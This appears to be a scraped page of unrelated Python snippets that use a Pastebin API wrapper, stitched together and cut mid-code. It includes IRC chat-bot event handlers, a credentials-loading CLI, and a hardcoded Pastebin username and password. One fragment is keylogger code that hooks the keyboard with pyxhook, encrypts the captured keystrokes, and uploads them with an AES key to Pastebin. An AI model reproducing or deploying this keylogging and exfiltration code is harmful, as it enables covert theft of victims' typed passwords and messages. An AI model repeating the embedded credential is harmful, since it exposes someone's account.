        if event_name in self.commands:
            self.commands[event_name](self, c, e)
        #print('%s: %s' % (e.type,e.arguments[0] if len(e.arguments) else ''))

    def on_pubmsg(self, c, e):
        if e.target in self.channels:
            ch = self.channels[e.target]
            if self.boss in e.source and e.arguments[0] == '.reload':
                reloader.reload(trpbot_commands)
                self.build_commands()
                self.add_mqueue(c, e.target, 'Reload complete.')
            elif self.boss in e.source and e.arguments[0] == '.die':
                raise KeyboardInterrupt('Die Command Received.')
        msg = e.arguments[0].strip()
        nick = e.source.nick
        mcmsg = ' '.join(e.arguments).encode('ascii', 'ignore')
        #uprint(mcmsg)
        if reply == '1':
            if c.get_nickname() in mcmsg:
                #time.sleep(0.2) #to prevent flooding
                #mcmsg = re.compile(c.get_nickname() + '[:,]* ?', re.I).sub('', mcmsg)
                prefix = '%s: ' % (nick, )
            else:
                prefix = ''

            add_to_brain(mcmsg, chain_length, write_to_file=True)
            #uprint(mcmsg) #prints to stdout what sadface added to brain
            if prefix or random.random() <= chattiness:
                sentence = generate_sentence(mcmsg, chain_length, max_words)
                if sentence:
                    self.add_mqueue(c, e.target, prefix + sentence)
                    #uprint(prefix + sentence) # ">" + "\t" + sentence #prints to stdout what sadface said

# Replies to messages starting with the bot's name.
        elif reply == '2':
            if mcmsg.startswith(
                    c.get_nickname):  #matches nickname, mecause of Noxz
                #time.sleep(0.2) #to prevent flooding
                #mcmsg = re.compile(c.get_nickname + "[:,]* ?", re.I).sub('', mcmsg)
                prefix = "%s: " % (nick, )
            else:
                #mcmsg = re.compile(c.get_nickname + "[:,]* ?", re.I).sub('', mcmsg)
                prefix = ''

            add_to_brain(mcmsg, chain_length, write_to_file=True)
            #print "\t" + msg #prints to stdout what sadface added to brain
            if prefix or random.random() <= chattiness:
                sentence = generate_sentence(mcmsg, chain_length, max_words)
                if sentence:
                    self.add_mqueue(c, e.target, prefix + sentence)
                    #uprint(prefix + sentence) #prints to stdout what sadface said
        else:  #for when you don't want it talking back
            #print mcmsg
            prefix = ''
            add_to_brain(mcmsg, chain_length, write_to_file=True)
            if prefix or random.random() <= chattiness:
                #                sentence = generate_sentence(mcmsg, chain_length, max_words)
                pass

    def on_nicknameinuse(self, c, e):
        c.nick('%s-' % (c.get_nickname(), ))

    def on_welcome(self, c, e):
        uprint('Connected! Authing...')
        if AUTH or ('irc_auth' in self.botconfig
                    and self.botconfig['irc_auth']):
            c.send_raw(AUTH if AUTH else self.botconfig['irc_auth'])
            c.mode(c.get_nickname(), '+x')
            uprint('Authed!')
        c.join(self.channel)
        for each_chan in trpbot_commands.AUTOJOIN:
            c.join(each_chan)
            self.add_mqueue(
                c, each_chan, '%s has arrived to touch your no no places.' %
                (c.get_nickname(), ))

    def on_ctcp(self, c, e):
        nick = e.source.nick
        #uprint(' '.join(e.arguments))
        if e.arguments[0] == 'VERSION':
            c.ctcp_reply(nick, 'VERSION %s' % (VERSION, ))
        elif e.arguments[0] == 'PING':
            if len(e.arguments) > 1:
                #c.send_raw('PONG %s' % (e.arguments[1],))
                c.ctcp_reply(nick, 'PONG %s' % (e.arguments[1], ))
                uprint('PONG %s' % (e.arguments[1], ))
            else:
                #c.send_raw('PONG')
                c.ctcp_reply(nick, 'PONG')
                uprint('PONG')
        elif e.arguments[0] == 'DCC':
            uprint('on_ctcp DCC: %s/%s/%s' % (
                e.arguments,
                e.target,
                e.source,
            ))
            msg = e.arguments[1]
        elif e.arguments[0] == 'DCC' and e.arguments[1].split(' ',
                                                              1)[0] == 'CHAT':
            self.on_dccchat(c, e)

    def on_dccchat(self, c, e):
        pass

    def on_disconnect(self, c, e):
        uprint('Disconnected.')
        if keeptrying == True:
            uprint('Must reconnect. Reconnecting...')
            bot.start()

    def connected_checker(self):
        if not self.connection.is_connected() and keeptrying == True:
            uprint('Reconnecting...')
            bot.start()
Ejemplo n.º 24
0
    config = json.loads(config_str)
    return (config['api_dev_key'], config['username'], config['password'])


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Access and use Pastebin API')
    parser.add_argument('-c',
                        '--config',
                        dest='config',
                        default=os.path.join(os.getenv('HOME'), '.pbcreds'),
                        help='Configuration file path')
    args = parser.parse_args()

    (api_dev_key, username, password) = get_creds(args.config)

    pclient = PastebinAPI(api_dev_key)
    try:
        api_user_key = str(pclient.generate_user_key(username, password))
        # print('API user key: %s' % api_user_key)
    except PastebinError as e:
        print("[-] Pastebin get user key: %s" % e)
    """
    try:
        new_pastie_url = pclient.paste(
            "Hello World!",
            "Hi",
            None,
            False,
            'private',
            '10M')
        print('New pastie URL: %s' % new_pastie_url)
Ejemplo n.º 25
0
           config.pastebin_username and \
           config.pastebin_password and \
           config.pastebin_api_dev_key:
            with open(log_file, 'r') as f:
                payload = f.read()
                upload_to_pastebin(os.path.basename('{}_aes'.format(log_file)),
                                   encrypted_aes_key, pb_api, pb_api_key,
                                   pb_user_key)
                upload_to_pastebin(os.path.basename(log_file), payload, pb_api,
                                   pb_api_key, pb_user_key)
            buff['keypress_upload_count'] = 0

    return onKeyPress


pb_api = PastebinAPI()
pb_user_key = pb_api.generate_user_key(config.pastebin_api_dev_key,
                                       config.pastebin_username,
                                       config.pastebin_password)

hook = pyxhook.HookManager()
# this is where the magick happens!
hook.KeyDown = getOnKeyPress(buff, pb_api, config.pastebin_api_dev_key,
                             pb_user_key)
hook.HookKeyboard()

try:
    hook.start()
    log('[*] Saving encrypted keystrokes to {}'.format(log_file), verbose)
except KeyboardInterrupt:
    # User cancelled from command line.
Ejemplo n.º 26
0
from pastebin import PastebinAPI

my_key = PastebinAPI.generate_user_key(api_dev_key, 'qdpatchnotes', 'moonbreak107044')
print (my_key)